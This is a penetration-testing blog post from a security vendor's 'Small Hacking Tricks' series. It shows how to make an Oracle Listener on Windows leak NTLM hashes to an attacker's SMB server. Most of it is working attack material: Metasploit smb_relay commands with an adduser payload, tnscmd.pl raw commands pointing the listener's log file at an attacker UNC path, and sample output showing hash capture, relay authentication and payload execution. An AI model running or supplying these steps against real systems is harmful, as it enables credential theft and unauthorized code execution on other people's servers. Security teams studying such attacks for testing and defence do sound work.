Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising. Learn More

Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Wendel's Small Hacking Tricks - A not so common and neat Oracle [for Windows] hack.

Since 2003 a large part of my workday has been devoted solely to hacking systems. Over this time I've collected a number of penetration testing tips and plan to write a number of posts to share them. This is the third post in the "Wendel's Small Hacking Tricks" series and will show a not so common, but interesting attack against Oracle for Microsoft Windows. The first post in the series discussed methods of hacking Microsoft SQL Server, and the second post in the series discussed methods by which you can kill processes from the Microsoft Windows Command Line interface.

I mentioned above ,this technique is not very common and is not effective against most targets because it has special requirements that are not enabled by default. But you have my word that I have found a few of them in real-world penetration testing engagements.

If all goes well, you will end up with a password hash without even touching the Oracle database. ;)

*** How to force the Oracle Listener to try to authenticate back to you with LM/NTLM password hash ***

Requirements: Oracle must be installed with an "administrative" account and the service should not be running as SYSTEM. As far as I know, the only way to discover this remotely is by testing it. ;)

1) First, start smb_sniff, smb_relay or the great Responder tool from my friend Laurent (SpiderLabs).

msf > use windows/smb/smb_relay
msf exploit(smb_relay) > set payload windows/adduser
msf exploit(smb_relay) > set user evil
user => evil
msf exploit(smb_relay) > set pass hacker
pass => hacker
msf exploit(smb_relay) > exploit
[*] Exploit running as background job.
msf exploit(smb_relay) >
[*] Server started.

2) Use tnscmd.pl script to test Oracle 9i or older, the syntax is the following:

root@WS~# ./tnscmd.pl -h Oracle-IP-Address --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE="\\\\Attacker-IP-Address\\hackme")))"

If the attack worked, the output should be something like this:

........"...........@(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=280)(ERRARGS=\\192.168.1.100\haxme)(COMMAND=log_file)(ERROR_STACK=(ERROR=(CODE=280)(EMFI=1)(ARGS='\\192.168.1.100\haxme'))(ERROR=(CODE=278)(EMFI=1))(ERROR=(CODE=16)(EMFI=3))(ERROR=(BUF='32-bit Windows Error: 13: Permission denied'))))

And on the smb_relay screen (or whatever you decided to use) you should see the password hash:

[*] Server started.
msf exploit(smb_relay) > [*] Received 192.168.1.103:1104 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 Service Pack 1 LM:
[*] Sending Access Denied to 192.168.1.103:1104 \
[*] Received 192.168.1.103:1104 ORACLE9I\oracle LMHASH:1de283f81853a0509f14486a9d7900ab5669608b9edf51a5 NTHASH:1de283f81853a0509f14486a9d7900ab5669608b9edf51a5 OS:Windows Server 2003 3790 Service Pack 1 LM:
[*] Authenticating to 192.168.1.103 as ORACLE9I\oracle...
[*] AUTHENTICATED as ORACLE9I\oracle...
[*] Connecting to the ADMIN$ share...
[*] Regenerating the payload...
[*] Uploading payload...
[*] Created \njvtubjo.exe...
[*] Connecting to the Service Control Manager...
[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \njvtubjo.exe...
[*] Sending Access Denied to 192.168.1.103:1104 ORACLE9I\oracle

3) Additionally, you may use the tnscmd.pl script to test Oracle 10g or higher, however in this case the attack will also require the Oracle SID and the database must have the OS_Authentication disable (which is is not the case by default).


root@WS~# ./tnscmd.pl -h Oracle-IP-Address --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=Oracle-SID)(VERSION=185599488)(VALUE="\\\\IP-Address\\hackme")))"

If you get an error as demonstrated below, it means that your target Oracle database is configured with "OS Authentication enabled" as the default. You are out of luck.

.e......"..Y(DESCRIPTION=(TMP=)(VSNNUM=168821248)(ERR=1189)(ERROR_STACK=(ERROR=(CODE=1189)(EMFI=4))))

Stay tuned for more Wendel's Small Hacking Tricks.

 

Latest SpiderLabs Blogs

Trustwave SpiderLabs: Insights and Solutions to Defend Educational Institutions Against Cyber Threats

Security teams responsible for defending educational institutions at higher education and primary school levels often find themselves facing harsh lessons from threat actors who exploit the numerous...

Read More

Breakdown of Tycoon Phishing-as-a-Service System

Just weeks after Trustwave SpiderLabs reported on the Greatness phishing-as-a-service (PaaS) framework, SpiderLabs’ Email Security team is tracking another PaaS called Tycoon Group.

Read More

Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising

During an Advanced Continual Threat Hunt (ACTH) investigation that took place in early December 2023, Trustwave SpiderLabs discovered Ov3r_Stealer, an infostealer distributed using Facebook...

Read More